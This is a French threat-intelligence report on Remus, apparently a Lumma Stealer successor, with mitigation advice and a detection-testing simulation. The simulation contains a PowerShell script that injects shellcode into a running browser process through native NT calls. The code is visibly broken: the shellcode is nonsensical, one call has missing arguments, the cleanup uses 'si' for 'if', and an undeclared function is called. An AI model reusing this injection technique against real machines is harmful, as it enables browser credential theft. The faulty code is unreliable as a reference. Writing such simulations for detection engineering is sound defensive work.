Remus : Déchiffrer l’évolution 64 bits du Lumma Stealer

Résumé

Gen Threat Labs a identifié Remus, un nouvel infostealer 64 bits qui semble être un successeur direct de la lignée Lumma Stealer. Il reflète le savoir-faire de Lumma, y compris l’obfuscation de chaînes connues, la logique anti-VM, l’exécution directe des appels système, ainsi qu’un contournement distinctif de l’encryption liée à l’application (ABE) précédemment associée à Lumma. Remus modifie également son modèle de résolution C2 : au lieu de se fier à Steam et à Telegram en tant que résolveurs de contrats morts, il adopte EtherHiding, utilisant des contrats intelligents Ethereum pour déterminer des points de commande et de contrôle. Observée depuis février 2026, la campagne se concentre sur le vol centré sur les navigateurs, ciblant les identifiants, les cookies et les données de portefeuilles de cryptomonnaie.

Enquête

Les analystes ont comparé des échantillons de Remus avec les binaires historiques de Lumma et ont trouvé des détails de mise en œuvre qui se chevauchent, y compris des structures de code correspondantes, des chaînes de caractères partagées de type générique, et la même approche de contournement ABE. Des versions de transition étiquetées “Tenzor” ont été observées comme un pont entre les deux familles. L’ingénierie inverse montre que Remus localise dpapi.dll, hache les noms d’API exportées, et tente une injection de shellcode dans Chrome. Si l’injection échoue, il revient à l’usurpation du jeton SYSTEM pour retrouver un avantage d’exécution. De nouvelles additions anti-analyse incluent des vérifications de hachage des DLL de sandbox et un test de présence de fichier PST “pot de miel” destiné à détecter les environnements d’analyse.

Atténuation

Bloquer les IPs/domaines C2 connus liés à Remus au niveau d’entrée et surveiller le comportement d’EtherHiding, y compris les recherches inhabituelles ou les modèles de trafic cohérents avec une résolution C2 basée sur des contrats intelligents. Au niveau des points finaux, priorisez les détections pour l’utilisation directe des appels systèmes, le hachage d’API et les artefacts compatibles avec une exécution furtive (y compris la création de bureau caché). Réduisez l’exposition des navigateurs en renforçant les environnements basés sur Chromium lorsque cela est possible, et appliquez un contrôle strict des applications pour empêcher l’injection de code non autorisée et l’exécution de fichiers exécutables non signés suspects.

Réponse

Si des indicateurs de Remus sont observés, isolez l’hôte, capturez les vidages de mémoire et les arbres de processus complets, et effectuez une analyse judiciaire ciblée sur les processus de navigateur injectés. Bloquez toute l’infrastructure C2 confirmée, révoquez les identifiants exposés, et réinitialisez les mots de passe/tokens stockés dans le navigateur. Mettez à jour les détections pour inclure la chaîne de caractères générique B9%????4rnO/@NQe?Nx* et la signature de shellcode rapportée de 51 octets.

Exécution de simulation

Prérequis : Le contrôle pré-vol de la télémétrie et la ligne de référence doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) destinée à déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

• Description de l’attaque et commandes :

  1. Sélection de processus : Identifiez une instance en cours d’exécution de browser.exe (Chrome renommé) et obtenez son PID.
  2. Préparation du Shellcode : Créez un petit shellcode de lancement de “calc.exe” (typique pour preuve de concept).
  3. Allocation de mémoire : Appelez NtAllocateVirtualMemory dans le contexte du processus cible pour réserver une région RWX.
  4. Injection de shellcode : Use NtWriteVirtualMemory pour copier le shellcode dans la région allouée.
  5. Exécution : Lancez un thread distant avec NtCreateThreadEx qui commence l’exécution à l’adresse du shellcode injecté.

• Script de test de régression :

  # Simulation Remus‑ABE – Implémentation PowerShell utilisant les appels système NT natifs
  # Nécessite d'être exécuté en tant qu'administrateur
  
  Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
      using System;
      using System.Runtime.InteropServices;
  
      public class NativeMethods {
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtAllocateVirtualMemory(
              IntPtr ProcessHandle,
              ref IntPtr BaseAddress,
              UIntPtr ZeroBits,
              ref UIntPtr RegionSize,
              UInt32 AllocationType,
              UInt32 Protect);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtWriteVirtualMemory(
              IntPtr ProcessHandle,
              IntPtr BaseAddress,
              byte[] Buffer,
              UInt32 BufferLength,
              out UInt32 BytesWritten);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtCreateThreadEx(
              out IntPtr ThreadHandle,
              UInt32 DesiredAccess,
              IntPtr ObjectAttributes,
              IntPtr ProcessHandle,
              IntPtr StartAddress,
              IntPtr Parameter,
              UInt32 CreateSuspended,
              UInt32 StackZeroBits,
              UInt32 SizeOfStackCommit,
              UInt32 SizeOfStackReserve,
              IntPtr AttributeList);
      }
  "@
  
  # 1️⃣; Identifiez le processus cible browser.exe
  $target = Get-Process -Name browser -ErrorAction Stop
  $hProcess = $target.Handle
  
  # 2️⃣; Shellcode – lancement de calc.exe (Windows x64)
  $shellcode = [Byte[]](
      0x48,0x31,0xC0,                         # xor rax,rax
      0x48,0x89,0xC2,                         # mov rdx,rax
      0x48,0x89,0xC6,                         # mov rsi,rax
      0x48,0x89,0xC7,                         # mov rdi,rax
      0x48,0x8D,0x15,0x0F,0x00,0x00,0x00,    # lea rdx,[rip+0xf] ; "calc.exe"
      0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00,    # mov rax,0xc7 (WinExec)
      0xFF,0xD0,                             # call rax
      0xC3,                                   # ret
      # "calc.exe" chaîne
      0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
  )
  
  # 3️⃣; Allouez de la mémoire RWX dans la cible
  $baseAddress = [IntPtr]::Zero
  $regionSize = [UIntPtr]$shellcode.Length
  $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory(
      $hProcess,
      [ref]$baseAddress,
      [UIntPtr]0,
      [ref]$regionSize,
      0x3000,   # MEM_COMMIT|MEM_RESERVE
      0x40      # PAGE_EXECUTE_READWRITE
  )
  if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory a échoué : 0x$($allocResult.ToString('X'))" }
  
  # 4️⃣; Écrivez le shellcode
  $bytesWritten = 0
  $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory(
      $hProcess,
      $baseAddress,
      $shellcode,
      $shellcode.Length,
      [ref]$bytesWritten
  )
  if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory a échoué : 0x$($writeResult.ToString('X'))" }
  
  # 5️⃣; Créez un thread distant
  $hThread = [IntPtr]::Zero
  $createResult = [Win32.NativeMethods]::NtCreateThreadEx(
      [ref]$hThread,
      0x1F03FF,   # THREAD_ALL_ACCESS
      $hProcess,
      $baseAddress,
      0,          # non suspendu
      0,0,0,
  )
  if ($createResult -ne 0) { Write-Error "NtCreateThreadEx a échoué : 0x$($createResult.ToString('X'))" }
  else { Write-Host "Injection de shellcode réussie – thread distant démarré (Handle: $hThread)" }

• Commandes de nettoyage :

  # Terminez le thread injecté (s'il fonctionne encore) et libérez la mémoire allouée
  $proc = Get-Process -Name browser -ErrorAction SilentlyContinue
  if ($proc) {
      $hProcess = $proc.Handle
      # Fermez le handle du thread
      si ($hThread -ne [IntPtr]::Zero) {
          [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null
      }
      # Libérez la mémoire (NtFreeVirtualMemory)
      $freeAddr = $baseAddress
      $regionSize = [UIntPtr]$shellcode.Length
      $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE
  }
  Write-Host "Nettoyage complété."

Résumé des recommandations

1. Élargir l’Envergure des Processus : Inclure d’autres processus de haute valeur (par exemple, explorer.exe, svchost.exe) pour capter les tentatives ABE qui évitent le browser.exe nom exact.
2. Élargir la Couverture des Appels Systèmes : Add NtMapViewOfSection, NtCreateSection, et NtProtectVirtualMemory à la liste Syscall|contient .
3. Détection des Anomalies Comportementales : Corréler les allocations de mémoire de grande taille (Taille de région > 1 MB) avec des NtWriteVirtualMemory subséquents dans le même processus pour signaler des modèles d’injection atypiques.
4. Créer une liste blanche de scénarios légitimes connus : Créez une liste d’autorisation pour les navigateurs qui effectuent légitimement des écritures en mémoire dans un processus (par exemple, via des plugins) pour réduire les faux positifs.

La mise en œuvre de ces étapes de durcissement augmentera la résilience de la règle de un 3 à un évaluation 4‑5 , rendant ainsi beaucoup plus difficile pour les adversaires de contourner.